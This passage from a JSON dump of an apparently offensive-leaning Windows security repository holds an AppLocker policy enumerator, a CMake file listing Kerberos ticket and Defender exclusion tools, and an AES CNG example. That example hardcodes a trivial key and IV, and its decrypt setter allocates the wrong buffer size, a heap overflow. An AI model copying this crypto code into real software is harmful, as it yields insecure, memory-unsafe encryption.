APPLOCKER_MODE_LOCAL, APPLOCKER_MODE_DOMAIN or APPLOCKER_MODE_EFFECTIVE.\n * @param pbstrLdapPath The LPAP search path in case domain AppLocker policies have to be retrieved,\n * @param pbstrPolicies The retrieved AppLocker policies.\n * @return Whether the policies have been successfully retrieved.\n*/\nBOOL GetAppLockerPolicies(PWORD pwAppLockerMode, LPBSTR pbstrLdapPath, LPBSTR pbstrPolicies) {\n\tBOOL bResult = FALSE;\n\tHRESULT result = S_FALSE;\n\tresult = CoInitialize(NULL);\n\tif (result != S_OK)\n\t\treturn FALSE;\n\n\t// Get the COM interface\n\tIAppIdPolicyHandler* pIAppIdPolicyHandler = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(IAppIdPolicyHandler));\n\tresult = CoCreateInstance(&CLSID_AppIdPolicyHandlerClass, NULL, CLSCTX_INPROC_SERVER, &IID_IAppIdPolicyHandler, &pIAppIdPolicyHandler);\n\tif (result != S_OK || pIAppIdPolicyHandler == NULL)\n\t\tgoto failure;\n\n\t// Get the AppLocker policies\n\tswitch (*pwAppLockerMode) {\n\tcase APPLOCKER_MODE_LOCAL:\n\tcase APPLOCKER_MODE_DOMAIN:\n\t\tresult = pIAppIdPolicyHandler->lpVtbl->GetPolicy(pIAppIdPolicyHandler, *pbstrLdapPath, pbstrPolicies);\n\t\tbreak;\n\n\tcase APPLOCKER_MODE_EFFECTIVE:\n\t\tresult = pIAppIdPolicyHandler->lpVtbl->GetEffectivePolicy(pIAppIdPolicyHandler, pbstrPolicies);\n\t\tbreak;\n\t}\n\n\t// Check if an error occurred\n\tif (result != S_OK || *pbstrPolicies == NULL)\n\t\tgoto failure;\n\n\tbResult = TRUE;\nfailure:\n\tif (pIAppIdPolicyHandler) {\n\t\tpIAppIdPolicyHandler->lpVtbl->Release(pIAppIdPolicyHandler);\n\t\tpIAppIdPolicyHandler = NULL;\n\t}\n\tCoUninitialize();\n\treturn bResult;\n}\n\n/**\n * @brief Entry point of the application.\n * @param argc Number of command line arguments. \n * @param argv Command line arguments.\n * @return The execution status code.\n*/\nINT wmain(INT argc, PWCHAR argv[]) {\n\t// Banner\n\twprintf(L\"List local, domain and effective AppLocker policies\\n\");\n\twprintf(L\"Copyright (C) 2020 Paul Laine (@am0nsec)\\n\");\n\twprintf(L\"https://ntamonsec.blogspot.com/\\n\\n\");\n\n\t// Variable early definition\n\tINT iStatusCode = 1;\n\tWORD wAppLockerMode = APPLOCKER_MODE_LOCAL;\n\tBSTR bstrLdapPath = NULL;\n\n\t// Parse user arguments\n\tif (argc < 2) {\n\t\tShowUsage();\n\t\treturn;\n\t}\n\tif (wcscmp(argv[1], L\"-l\") == 0)\n\t\twAppLockerMode = APPLOCKER_MODE_LOCAL;\n\telse if (wcscmp(argv[1], L\"-e\") == 0)\n\t\twAppLockerMode = APPLOCKER_MODE_EFFECTIVE;\n\telse if (wcscmp(argv[1], L\"-d\") == 0 && argc >= 3) {\n\t\twAppLockerMode = APPLOCKER_MODE_DOMAIN;\n\t\tbstrLdapPath = SysAllocString(argv[2]);\n\t}\n\telse {\n\t\tShowUsage();\n\t\treturn;\n\t}\n\n\t// Get the AppLocker Policies\n\tBSTR bstrAppLockerPolicies = NULL;\n\tif (GetAppLockerPolicies(&wAppLockerMode, &bstrLdapPath, &bstrAppLockerPolicies)) {\n\t\tprintf(\"AppLocker policies: \\n%S\\n\", bstrAppLockerPolicies);\n\t\treturn 0;\n\t}\n\n\treturn 1;\n}\n"
  },
  {
    "path": "CMakeLists.txt",
    "content": "# @file        CMakeLists.txt\n# @data        12/02/2021\n# @author      Paul L. (@am0nsec)\n# @version     1.0\n# @brief       WSPE CMake configuration file.\ncmake_minimum_required(VERSION 3.16)\n\n# You kids get off my lawn!\nif (NOT ${CMAKE_SYSTEM_NAME} STREQUAL \"Windows\")\n\tmessage(FATAL_ERROR \"You kids get off my lawn with Linux ...\")\nendif()\n\n\n# Dummy project\nproject(wspe VERSION 1.0 LANGUAGES C)\n\n# Kerberos\nadd_subdirectory(Kerberos/List)\nadd_subdirectory(Kerberos/Purge)\nadd_subdirectory(Kerberos/GetTicket)\nadd_subdirectory(Kerberos/AskTGT)\n\n# Office\nadd_subdirectory(Office/outlook)\n\n# Windows Defender\nadd_subdirectory(Defender/ExclusionLists)\n\n# Microsoft Debug Interface Access (DIA)\nadd_subdirectory(DIA)\n"
  },
  {
    "path": "CMakeSettings.json",
    "content": "﻿{\n  \"configurations\": [\n    {\n      \"name\": \"x64-Debug\",\n      \"generator\": \"Ninja\",\n      \"configurationType\": \"Debug\",\n      \"inheritEnvironments\": [ \"msvc_x64_x64\" ],\n      \"buildRoot\": \"${projectDir}\\\\out\\\\build\\\\${name}\",\n      \"installRoot\": \"${projectDir}\\\\out\\\\install\\\\${name}\",\n      \"cmakeCommandArgs\": \"\",\n      \"buildCommandArgs\": \"\",\n      \"ctestCommandArgs\": \"\"\n    },\n    {\n      \"name\": \"x64-Release\",\n      \"generator\": \"Ninja\",\n      \"configurationType\": \"RelWithDebInfo\",\n      \"buildRoot\": \"${projectDir}\\\\out\\\\build\\\\${name}\",\n      \"installRoot\": \"${projectDir}\\\\out\\\\install\\\\${name}\",\n      \"cmakeCommandArgs\": \"\",\n      \"buildCommandArgs\": \"\",\n      \"ctestCommandArgs\": \"\",\n      \"inheritEnvironments\": [ \"msvc_x64_x64\" ],\n      \"variables\": []\n    }\n  ]\n}"
  },
  {
    "path": "Cryptography/AES CNG/README.md",
    "content": "## AESCrypt ##\n\nThis repository provide a simple example of how to use the Windows Cryptography API Next Generation to encrypt and decrypt a string with AES algorithm.\n\nThe Microsoft documentation can be found here:  https://docs.microsoft.com/en-us/windows/win32/seccng/cng-portal\n\n\n<br>\n<br>\n[am0nsec](https://twitter.com/am0nsec) - cum lux abest, tenebrae vincunt\n"
  },
  {
    "path": "Cryptography/AES CNG/source/AES.cpp",
    "content": "#pragma once\n#include <Windows.h>\n#include <bcrypt.h>\n#include <iostream>\n#include <vector>\n\n#include \"nthelpers.h\"\n#include \"AES.h\"\n#include \"Util.h\"\n#include \"Base64.h\"\n\n#pragma comment(lib, \"Bcrypt.lib\")\n\nnamespace CNG {\n\tAES::~AES() {\n\t\tif (this->hKeyHandle != NULL)\n\t\t\t::BCryptDestroyKey(this->hKeyHandle);\n\n\t\tif (this->hBcryptAlgHandle != NULL)\n\t\t\t::BCryptCloseAlgorithmProvider(this->hBcryptAlgHandle, 0);\n\n\t\tif (this->pbKeyObject != NULL)\n\t\t\t::HeapFree(::GetProcessHeap(), 0, this->pbKeyObject);\n\n\t\tif (this->pbIV != NULL)\n\t\t\t::HeapFree(::GetProcessHeap(), 0, this->pbIV);\n\n\t\tif (this->pbPlainText != NULL)\n\t\t\t::HeapFree(::GetProcessHeap(), 0, this->pbPlainText);\n\n\t\tif (this->pbCipherText != NULL)\n\t\t\t::HeapFree(::GetProcessHeap(), 0, this->pbCipherText);\n\t}\n\tAESEncrypt::~AESEncrypt() {}\n\tAESDecrypt::~AESDecrypt() {}\n\n\tBOOL WINAPI AES::Initialise() {\n\t\tif (this->bIsInitialised)\n\t\t\treturn TRUE;\n\n\t\tNTSTATUS ntStatus = STATUS_UNSUCCESSFUL;\n\n\t\tCNG::Util::WriteInfoMessage(L\"Call bcrypt!BCryptOpenAlgorithmProvider\\n\", 3);\n\t\tntStatus = ::BCryptOpenAlgorithmProvider(&this->hBcryptAlgHandle, BCRYPT_AES_ALGORITHM, NULL, 0);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"First bcrypt!BCryptOpenAlgorithmProvider failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tntStatus = ::BCryptGetProperty(this->hBcryptAlgHandle, BCRYPT_OBJECT_LENGTH, (PBYTE)(&this->cbKeyObject), sizeof(DWORD), &this->cbData, 0);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"First bcrypt!BCryptGetProperty failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tthis->pbKeyObject = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbKeyObject);\n\t\tntStatus = ::BCryptGetProperty(this->hBcryptAlgHandle, BCRYPT_BLOCK_LENGTH, (PBYTE)(&this->cbBlockLen), sizeof(DWORD), &this->cbData, 0);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"Second bcrypt!BCryptGetProperty failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tif (this->cbBlockLen > sizeof(CNG::rgbIV))\n\t\t\treturn FALSE;\n\n\t\tthis->pbIV = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbBlockLen);\n\t\t::RtlCopyMemory(this->pbIV, CNG::rgbIV, this->cbBlockLen);\n\t\tntStatus = ::BCryptSetProperty(this->hBcryptAlgHandle, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"bcrypt!BCryptSetProperty failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tCNG::Util::WriteInfoMessage(L\"Call bcrypt!BCryptGenerateSymmetricKey\\n\", 3);\n\t\tntStatus = ::BCryptGenerateSymmetricKey(this->hBcryptAlgHandle, &this->hKeyHandle, this->pbKeyObject, this->cbKeyObject, (PBYTE)CNG::rgbAES128Key, sizeof(CNG::rgbAES128Key), 0);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"bcrypt!BCryptGenerateSymmetricKey failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tthis->bIsInitialised = TRUE;\n\t\treturn this->bIsInitialised;\n\t}\n\n\tBOOL WINAPI AESEncrypt::SetBase64StringToEncrypt(std::string sPlaintext) {\n\t\tif (!sPlaintext.empty()) {\n\t\t\tstd::vector<uint8_t> vec = Base64::Base64Decode(sPlaintext);\n\t\t\tstd::string tmp(vec.begin(), vec.end());\n\n\t\t\treturn this->SetStringToEncrypt(tmp);\n\t\t}\n\n\t\tCNG::Util::WriteErrorMessage(L\"Enpty string provided\");\n\t\treturn FALSE;\n\t}\n\n\tBOOL WINAPI AESEncrypt::SetStringToEncrypt(std::string sPlaintext) {\n\t\tif (!sPlaintext.empty()) {\n\t\t\tthis->cbPlainText = (DWORD)sPlaintext.size();\n\t\t\tthis->pbPlainText = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbPlainText);\n\t\t\t::RtlCopyMemory(this->pbPlainText, sPlaintext.c_str(), sPlaintext.size());\n\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tCNG::Util::WriteErrorMessage(L\"Enpty string provided\");\n\t\treturn FALSE;\n\t}\n\n\tBOOL WINAPI AESDecrypt::SetStringToDecrypt(std::string sCipherText) {\n\t\tif (!sCipherText.empty()) {\n\t\t\tthis->cbCipherText = (DWORD)sCipherText.size();\n\t\t\tthis->pbCipherText = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbPlainText);\n\t\t\t::RtlCopyMemory(this->pbCipherText, sCipherText.c_str(), sCipherText.size());\n\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tCNG::Util::WriteErrorMessage(L\"Enpty string provided\");\n\t\treturn FALSE;\n\t}\n\n\tBOOL WINAPI AESDecrypt::SetBase64StringToDecrypt(std::string sCipherText) {\n\t\tif (!sCipherText.empty()) {\n\t\t\tstd::vector<uint8_t> vec = Base64::Base64Decode(sCipherText);\n\t\t\tstd::string tmp(vec.begin(), vec.end());\n\n\t\t\treturn this->SetStringToDecrypt(tmp);\n\t\t}\n\n\t\tCNG::Util::WriteErrorMessage(L\"Enpty string provided\");\n\t\treturn FALSE;\n\t}\n\n\tBOOL WINAPI AESEncrypt::Encrypt() {\n\t\tNTSTATUS ntStatus = STATUS_UNSUCCESSFUL;\n\n\t\t// Check that everything was set correctly\n\t\tif (this->bAlreadyUsed)\n\t\t\treturn FALSE;\n\n\t\t// Get the output buffer size to encrypt\n\t\tCNG::Util::WriteInfoMessage(L\"Call bcrypt!BCryptEncrypt\\n\", 3);\n\t\tntStatus = ::BCryptEncrypt(this->hKeyHandle, this->pbPlainText, this->cbPlainText, NULL, this->pbIV, this->cbBlockLen, NULL, 0, &this->cbCipherText, BCRYPT_BLOCK_PADDING);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"First bcrypt!BCryptEncrypt failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tCNG::Util::WriteInfoMessage(L\"Call bcrypt!BCryptEncrypt\\n\", 3);\n\t\tthis->pbCipherText = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbCipherText);\n\t\tntStatus = ::BCryptEncrypt(this->hKeyHandle, this->pbPlainText, this->cbPlainText, NULL, this->pbIV, this->cbBlockLen, this->pbCipherText, this->cbCipherText, &this->cbData, BCRYPT_BLOCK_PADDING);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"Second bcrypt!BCryptEncrypt failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t// Destroy the key\n\t\tCNG::Util::WriteInfoMessage(L\"Call bcrypt!BCryptDestroyKey\\n\", 3);\n\t\tntStatus = ::BCryptDestroyKey(this->hKeyHandle);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"bcrypt!BCryptDestroyKey failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tthis->bAlreadyUsed = TRUE;\n\t\treturn this->bAlreadyUsed;\n\t}\n\n\tBOOL WINAPI AESDecrypt::Decrypt() {\n\t\tNTSTATUS ntStatus = STATUS_UNSUCCESSFUL;\n\n\t\t// Check that everything was set correctly\n\t\tif (this->bAlreadyUsed)\n\t\t\treturn FALSE;\n\n\t\tCNG::Util::WriteInfoMessage(L\"Call bcrypt!BCryptDecrypt\\n\", 3);\n\t\tntStatus = ::BCryptDecrypt(this->hKeyHandle, this->pbCipherText, this->cbCipherText, NULL, this->pbIV, this->cbBlockLen, NULL, 0, &this->cbPlainText, BCRYPT_BLOCK_PADDING);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"First bcrypt!BCryptDecrypt failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tCNG::Util::WriteInfoMessage(L\"Call bcrypt!BCryptDecrypt\\n\", 3);\n\t\tthis->pbPlainText = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbPlainText);\n\t\tntStatus = ::BCryptDecrypt(this->hKeyHandle, this->pbCipherText, this->cbCipherText, NULL, this->pbIV, this->cbBlockLen, this->pbPlainText, this->cbPlainText , &this->cbData, BCRYPT_BLOCK_PADDING);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"Second bcrypt!BCryptDecrypt failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t// Destroy the key\n\t\tCNG::Util::WriteInfoMessage(L\"Call bcrypt!BCryptDestroyKey\\n\", 3);\n\t\tntStatus = ::BCryptDestroyKey(this->hKeyHandle);\n\t\tif (!NT_SUCCESS(ntStatus)) {\n\t\t\tCNG::Util::WriteErrorMessage(L\"bcrypt!BCryptDestroyKey failed\\n\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tthis->bAlreadyUsed = TRUE;\n\t\treturn this->bAlreadyUsed;\n\t}\n\n\tstd::string WINAPI AESEncrypt::GetEncryptedString() {\n\t\tstd::string tmp = (char*)this->pbCipherText;\n\t\treturn tmp;\n\t}\n\n\tstd::string WINAPI AESEncrypt::GetEncryptedBase64String() {\n\t\tstd::string sCipherText;\n\t\tif (this->pbCipherText)\n\t\t\tsCipherText.append(Base64::Base64Encode(this->pbCipherText, this->cbCipherText));\n\n\t\treturn sCipherText;\n\t}\n\n\tstd::string WINAPI AESDecrypt::GetDecryptedString() {\n\t\tstd::string tmp = (char*)this->pbPlainText;\n\t\treturn tmp;\n\t}\n\n\tstd::string WINAPI AESDecrypt::GetDecryptedBase64String() {\n\t\tstd::string sPlaintext;\n\t\tif (this->pbCipherText)\n\t\t\tsPlaintext.append(Base64::Base64Encode(this->pbPlainText, this->cbPlainText));\n\n\t\treturn sPlaintext;\n\t}\n}"
  },
  {
    "path": "Cryptography/AES CNG/source/AES.h",
    "content": "#pragma once\n#include <Windows.h>\n#include <bcrypt.h>\n\nnamespace CNG {\n\tstatic const BYTE rgbIV[] = {\n\t\t0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n\t\t0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F\n\t};\n\n\tstatic const BYTE rgbAES128Key[] = {\n\t\t0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n\t\t0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F\n\t};\n\n\tclass AES {\n\t\tpublic:\n\t\t\tBOOL WINAPI Initialise();\n\t\t\n\t\tprotected:\n\t\t\t~AES();\n\n\t\t\tBCRYPT_ALG_HANDLE hBcryptAlgHandle = NULL;\n\t\t\tBCRYPT_KEY_HANDLE hKeyHandle = NULL;\n\n\t\t\tBOOL bIsInitialised = FALSE;\n\t\t\tBOOL bAlreadyUsed = FALSE;\n\n\t\t\tDWORD cbKeyObject = 0;\n\t\t\tDWORD cbData = 0;\n\t\t\tDWORD cbBlockLen = 0;\n\t\t\tDWORD cbPlainText = 0;\n\t\t\tDWORD cbCipherText = 0;\n\n\t\t\tPBYTE pbKeyObject = NULL;\n\t\t\tPBYTE pbIV = NULL;\n\t\t\tPBYTE pbPlainText = NULL;\n\t\t\tPBYTE pbCipherText = NULL;\n\t};\n\n\tclass AESEncrypt : public AES {\n\t\tpublic:\n\t\t\t~AESEncrypt();\n\t\t\tBOOL WINAPI Encrypt();\n\t\t\tBOOL WINAPI SetStringToEncrypt(std::string sPlaintext);\n\t\t\tBOOL WINAPI SetBase64StringToEncrypt(std::string sPlaintext);\n\t\t\tstd::string WINAPI GetEncryptedString();\n\t\t\tstd::string WINAPI GetEncryptedBase64String();\n\t};\n\n\tclass AESDecrypt : public AES {\n\t\tpublic:\n\t\t\t~AESDecrypt();\n\t\t\tBOOL WINAPI Decrypt();\n\t\t\tBOOL WINAPI SetStringToDecrypt(std::string sCipherText);\n\t\t\tBOOL WINAPI SetBase64StringToDecrypt(std::string sCipherText);\n\t\t\tstd::string WINAPI GetDecryptedString();\n\t\t\tstd::string WINAPI GetDecryptedBase64String();\n\t};\n}"
  },
  {
    "path": "Cryptography/AES CNG/source/AESCrypt.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.29215.179\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"AESCrypt\", \"AESCrypt.vcxproj\", \"{3CB82A71-C96B-475D-B617-25924EB88631}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tCustom|x64 = Custom|x64\n\t\tCustom|x86 = Custom|x86\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Custom|x64.ActiveCfg = Custom|x64\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Custom|x64.Build.0 = Custom|x64\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Custom|x86.ActiveCfg = Custom|Win32\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Custom|x86.Build.0 = Custom|Win32\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Debug|x64.Build.0 = Debug|x64\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Debug|x86.Build.0 = Debug|Win32\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Release|x64.ActiveCfg = Release|x64\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Release|x64.Build.0 = Release|x64\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Release|x86.ActiveCfg = Release|Win32\n\t\t{3CB82A71-C96B-475D-B617-25924EB88631}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {D52A9CB7-A857-4CD4-BEE2-1CCB19802991}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "Cryptography/AES CNG/source/AESCrypt.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Custom|Win32\">\n      <Configuration>Custom</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Custom|x64\">\n      <Configuration>Custom</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <ProjectGuid>{3CB82A71-C96B-475D-B617-25924EB88631}</ProjectGuid>\n    <RootNamespace>AESCrypt</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>MultiByte</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Label=\"Configuration\" Condition=\"'$(Configuration)|$(Platform)'=='Custom|Win32'\">\n    <PlatformToolset>v142</PlatformToolset>\n  </PropertyGroup>\n  <PropertyGroup Label=\"Configuration\" Condition=\"'$(Configuration)|$(Platform)'=='Custom|x64'\">\n    <PlatformToolset>v142</PlatformToolset>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <IncludePath>C:\\Program Files\\OpenSSL-Win64\\include\\;$(IncludePath)</IncludePath>\n    <LibraryPath>C:\\Program Files\\OpenSSL-Win64\\lib;$(LibraryPath)</LibraryPath>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <SDLCheck>true</SDLCheck>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <SDLCheck>true</SDLCheck>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <MultiProcessorCompilation>false</MultiProcessorCompilation>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"AES.cpp\" />\n    <ClCompile Include=\"Main.cpp\" />\n    <ClCompile Include=\"Util.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"AES.h\" />\n    <ClInclude Include=\"Base64.h\" />\n    <ClInclude Include=\"nthelpers.h\" />\n    <ClInclude Include=\"Util.h\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "Cryptography/AES CNG/source/AESCrypt.vcxproj.filters",
